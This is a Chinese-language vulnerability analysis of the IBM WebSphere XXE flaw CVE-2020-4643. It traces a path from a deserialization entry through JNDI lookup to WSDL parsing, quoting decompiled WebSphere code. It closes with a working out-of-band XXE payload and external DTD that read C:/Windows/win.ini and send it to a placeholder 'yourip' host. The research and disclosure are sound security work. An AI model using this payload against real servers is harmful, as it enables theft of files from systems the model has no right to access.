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WebSphere XXE 漏洞分析(CVE-2020-4643)

2020-09-22 15:13

作者:Longofo@知道创宇404实验室 & r00t4dm@奇安信A-TEAM
时间:2020年9月21日

2020年9月17日,IBM发布了一个WebSphere XXE漏洞公告。 当时看到这个消息心想我们挖的那个XXE很可能与这个重了。然后看了下补丁,果不其然,当时心里就很遗憾,本来是打算一起找到一个RCE漏洞在一起提交XXE漏洞的,因为害怕提交了XXE官方把反序列化入口也封了,例如CVE-2020-4450,直接封掉了反序列化入口。奈何WebSphere找了一两周也没什么发现,后来正打算把XXE提交了,就看到官方发布了公告,看了下作者,是绿盟的一位大佬,也是CVE-2020-4450的发现者之一,这些默默挖洞的大佬,只可远观眺望啊。WebSphere的分析似乎挺少,聊聊几篇分析,不像Weblogic那样量产漏洞,单是一个高版本sdk就拦截了很多链或者说连接可用链的点,心想与其烂在手里,还不如分享出来,下面写下我们发现过程,其实重要的不是这个XXE,而是到达XXE这个点的前半部分。

补丁

先来看看补丁,只能看出是修复了一个XXE,不知道是哪儿的XXE:

可以看出这里是修复了一个XXE漏洞,但是这只是一个Utils,我们找到的那个XXE刚好也用了这个Utils。

漏洞分析

最开始研究WebSphere就是前不久的CVE-2020-4450,这个漏洞外面已经有分析了。为了更熟悉一点WebSphere,我们也去研究了历史补丁,例如印象比较深的就是前不久的CVE-2020-4276,这个漏洞算是历史漏洞CVE-2015-7450的认证方式绕过,RCE的过程与CVE-2015-7450没区别。后面意外的找到另一个反序列化入口,在确认了已经无法在历史漏洞上做文章的时,只好从readObject、readExternal、toString、compare等函数去尝试找下了,后来在一个readObject找到一个能JNDI注入的地方,但是由于sdk高版本的原因,能利用的方式就只能是本地factory或利用jndi本地反序列化了,但是WebSphere公开的利用链都被堵上了,本地反序列化其实没什么作用在这里,所以只剩下看本地Factory了。反序列化入口暂时先不给出,可能这样的反序列化入口还有很多,我们碰巧遇到了其中一个,如果后面有幸找到了RCE漏洞,就把我们找到的入口写出来,下面从那个readObject中的JNDI开始吧。

com.ibm.ws.ejb.portable.EJBMetaDataImpl#readObject中:

private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
try {
in.defaultReadObject();
...
...
this.ivStatelessSession = in.readBoolean();
ClassLoader loader = (ClassLoader)AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return Thread.currentThread().getContextClassLoader();
}
});
this.ivBeanClassName = in.readUTF();
this.ivHomeClass = loader.loadClass(in.readUTF());
this.ivRemoteClass = loader.loadClass(in.readUTF());
if (!this.ivSession) {
this.ivPKClass = loader.loadClass(in.readUTF());
}

this.ivHomeHandle = (HomeHandle)in.readObject();
EJBHome ejbHomeStub = this.ivHomeHandle.getEJBHome();//ivHomeHandle是一个接口,我们找到了HomeHandleImpl,里面进行了JNDI查询,并且url可控
this.ivEjbHome = (EJBHome)PortableRemoteObject.narrow(ejbHomeStub, this.ivHomeClass);//如果跟踪过CVE-2020-4450就能感觉到,这里十分类似CVE-2020-4450,不过缺少了后续的调用,无法像CVE-2020-4450利用WSIF的方式触发后续的RCE,WSIF之前那个XXE也被修复了
} catch (IOException var6) {
throw var6;
} catch (ClassNotFoundException var7) {
throw var7;
}
}

com.ibm.ws.ejb.portable.HomeHandleImpl#getEJBHome如下:

public EJBHome getEJBHome() throws RemoteException {
if (this.ivEjbHome == null) {
NoSuchObjectException re;
...
...
InitialContext ctx;
try {
if (this.ivInitialContextProperties == null) {
ctx = new InitialContext();
} else {
try {
ctx = new InitialContext(this.ivInitialContextProperties);
} catch (NamingException var5) {
ctx = new InitialContext();
}
}

this.ivEjbHome = (EJBHome)PortableRemoteObject.narrow(ctx.lookup(this.ivJndiName), homeClass);//进行了JNDI查询,ivJndiName是属性,很容易控制
} catch (NoInitialContextException var6) {
Properties p = new Properties();
p.put("java.naming.factory.initial", "com.ibm.websphere.naming.WsnInitialContextFactory");
ctx = new InitialContext(p);
this.ivEjbHome = (EJBHome)PortableRemoteObject.narrow(ctx.lookup(this.ivJndiName), homeClass);
}
...
...

return this.ivEjbHome;
}

如果是sdk低版本,直接就是外部加载factory rce利用了,但是天不随人愿,如果这么容易就不会有CVE-2020-4450那种复杂的利用了。

接下来就只能一个一个看本地的factory了,也不多大概几十个,一个一个看吧。在com.ibm.ws.webservices.engine.client.ServiceFactory#getObjectInstance中,找到了那个XXE:

public Object getObjectInstance(Object refObject, Name name, Context nameCtx, Hashtable environment) throws Exception {
Object instance = null;
if (refObject instanceof Reference) {
Reference ref = (Reference)refObject;
RefAddr addr = ref.get("service classname");
Object obj = null;
if (addr != null && (obj = addr.getContent()) instanceof String) {
instance = ClassUtils.forName((String)obj).newInstance();
} else {
addr = ref.get("WSDL location");
if (addr != null && (obj = addr.getContent()) instanceof String) {
URL wsdlLocation = new URL((String)obj);
addr = ref.get("service namespace");
if (addr != null && (obj = addr.getContent()) instanceof String) {
String namespace = (String)obj;
addr = ref.get("service local part");
if (addr != null && (obj = addr.getContent()) instanceof String) {
String localPart = (String)obj;
QName serviceName = QNameTable.createQName(namespace, localPart);
Class[] formalArgs = new Class[]{URL.class, QName.class};
Object[] actualArgs = new Object[]{wsdlLocation, serviceName};
Constructor ctor = Service.class.getDeclaredConstructor(formalArgs);
instance = ctor.newInstance(actualArgs);//调用了Service构造函数
}
}
}
}

addr = ref.get("maintain session");
if (addr != null && instance instanceof Service) {
((Service)instance).setMaintainSession(true);
}
}

return instance;
}

com.ibm.ws.webservices.engine.client.Service#Service(java.net.URL, javax.xml.namespace.QName),在构造函数中:

public Service(URL wsdlLocation, QName serviceName) throws ServiceException {
if (log.isDebugEnabled()) {
log.debug("Entry Service(URL, QName) " + serviceName.toString());
}

this.serviceName = serviceName;
this.wsdlLocation = wsdlLocation;
Definition def = cachingWSDL ? (Definition)cachedWSDL.get(wsdlLocation.toString()) : null;
if (def == null) {
Document doc = null;

try {
doc = XMLUtils.newDocument(wsdlLocation.toString());//wsdlLocation外部可控,这里XMLUtils.newDocument进去就请求了wsdlLocation获取xml文件并解析
} catch (Exception var8) {
FFDCFilter.processException(var8, "com.ibm.ws.webservices.engine.client.Service.initService", "199", this);
throw new ServiceException(Messages.getMessage("wsdlError00", "", "\n" + var8));
}

try {
WSDLFactory factory = new WSDLFactoryImpl();
WSDLReader reader = factory.newWSDLReader();
reader.setFeature("javax.wsdl.verbose", false);
def = reader.readWSDL(wsdlLocation.toString(), doc);//一开始我们只停留在了上面那个XMLUtils.newDocument,利用那儿的异常带不出去数据,由于是高版本sdk,外带也只能带一行数据。后来看到reader.readWSDL进去还能利用另一种方式外带全部数据
if (cachingWSDL) {
cachedWSDL.put(wsdlLocation.toString(), def);
}
} catch (Exception var7) {
FFDCFilter.processException(var7, "com.ibm.ws.webservices.engine.client.Service.initService", "293", this);
throw new ServiceException(Messages.getMessage("wsdlError00", "", "\n" + var7));
}
}

this.initService(def);
if (log.isDebugEnabled()) {
log.debug("Exit Service(URL, QName) ");
}

}

com.ibm.wsdl.xml.WSDLReaderImpl#readWSDL(java.lang.String, org.w3c.dom.Document)之后,会调用到一个com.ibm.wsdl.xml.WSDLReaderImpl#parseDefinitions

protected Definition parseDefinitions(String documentBaseURI, Element defEl, Map importedDefs) throws WSDLException {
checkElementName(defEl, Constants.Q_ELEM_DEFINITIONS);
WSDLFactory factory = this.getWSDLFactory();
Definition def = factory.newDefinition();
if (this.extReg != null) {
def.setExtensionRegistry(this.extReg);
}

String name = DOMUtils.getAttribute(defEl, "name");
String targetNamespace = DOMUtils.getAttribute(defEl, "targetNamespace");
NamedNodeMap attrs = defEl.getAttributes();
if (importedDefs == null) {
importedDefs = new Hashtable();
}

if (documentBaseURI != null) {
def.setDocumentBaseURI(documentBaseURI);
((Map)importedDefs).put(documentBaseURI, def);
}

if (name != null) {
def.setQName(new QName(targetNamespace, name));
}

if (targetNamespace != null) {
def.setTargetNamespace(targetNamespace);
}

int size = attrs.getLength();

for(int i = 0; i < size; ++i) {
Attr attr = (Attr)attrs.item(i);
String namespaceURI = attr.getNamespaceURI();
String localPart = attr.getLocalName();
String value = attr.getValue();
if (namespaceURI != null && namespaceURI.equals("http://www.w3.org/2000/xmlns/")) {
if (localPart != null && !localPart.equals("xmlns")) {
def.addNamespace(localPart, value);
} else {
def.addNamespace((String)null, value);
}
}
}

for(Element tempEl = DOMUtils.getFirstChildElement(defEl); tempEl != null; tempEl = DOMUtils.getNextSiblingElement(tempEl)) {
if (QNameUtils.matches(Constants.Q_ELEM_IMPORT, tempEl)) {
def.addImport(this.parseImport(tempEl, def, (Map)importedDefs));
} else if (QNameUtils.matches(Constants.Q_ELEM_DOCUMENTATION, tempEl)) {
def.setDocumentationElement(tempEl);
} else if (QNameUtils.matches(Constants.Q_ELEM_TYPES, tempEl)) {
def.setTypes(this.parseTypes(tempEl, def));
} else if (QNameUtils.matches(Constants.Q_ELEM_MESSAGE, tempEl)) {
def.addMessage(this.parseMessage(tempEl, def));
} else if (QNameUtils.matches(Constants.Q_ELEM_PORT_TYPE, tempEl)) {
def.addPortType(this.parsePortType(tempEl, def));
} else if (QNameUtils.matches(Constants.Q_ELEM_BINDING, tempEl)) {
def.addBinding(this.parseBinding(tempEl, def));
} else if (QNameUtils.matches(Constants.Q_ELEM_SERVICE, tempEl)) {
def.addService(this.parseService(tempEl, def));
} else {
def.addExtensibilityElement(this.parseExtensibilityElement(Definition.class, tempEl, def));
}
}

this.parseExtensibilityAttributes(defEl, Definition.class, def, def);
return def;
}

com.ibm.wsdl.xml.WSDLReaderImpl#parseImport:

protected Import parseImport(Element importEl, Definition def, Map importedDefs) throws WSDLException {
Import importDef = def.createImport();

String locationURI;
try {
String namespaceURI = DOMUtils.getAttribute(importEl, "namespace");
locationURI = DOMUtils.getAttribute(importEl, "location");//获取location属性
String contextURI = null;
if (namespaceURI != null) {
importDef.setNamespaceURI(namespaceURI);
}

if (locationURI != null) {
importDef.setLocationURI(locationURI);
if (this.importDocuments) {
try {
contextURI = def.getDocumentBaseURI();
Definition importedDef = null;
InputStream inputStream = null;
InputSource inputSource = null;
URL url = null;
if (this.loc != null) {
inputSource = this.loc.getImportInputSource(contextURI, locationURI);
String liu = this.loc.getLatestImportURI();
importedDef = (Definition)importedDefs.get(liu);
if (inputSource.getSystemId() == null) {
inputSource.setSystemId(liu);
}
} else {
URL contextURL = contextURI != null ? StringUtils.getURL((URL)null, contextURI) : null;
url = StringUtils.getURL(contextURL, locationURI);
importedDef = (Definition)importedDefs.get(url.toString());
if (importedDef == null) {
inputStream = StringUtils.getContentAsInputStream(url);//进行了请求,可以通过这个请求将数据外带,但是还是有些限制,例如有&或"等字符的文件会报错导致带不了
...
...

xml payload:

xml如下:
<!DOCTYPE x [
<!ENTITY % aaa SYSTEM "file:///C:/Windows/win.ini">
<!ENTITY % bbb SYSTEM "http://yourip:8000/xx.dtd">
%bbb;
]>
<definitions name="HelloService" xmlns="http://schemas.xmlsoap.org/wsdl/">
&ddd;
</definitions>

xx.dtd如下:
<!ENTITY % ccc '<!ENTITY ddd &#39;<import namespace="uri" location="http://yourip:8000/xxeLog?%aaa;"/>&#39;>'>%ccc;

最后

我们只看了浮在表面上的一些地方,人工最多只看了两层调用,也许RCE隐藏在更深的地方或者知识盲点现在没找到呢,还是得有个属于自己的能查找链的工具,工具不会累,人会。


Paper本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:http://www.hackdig.com/09/hack-139210.htm


知识来源: https://paper.seebug.org/1342/

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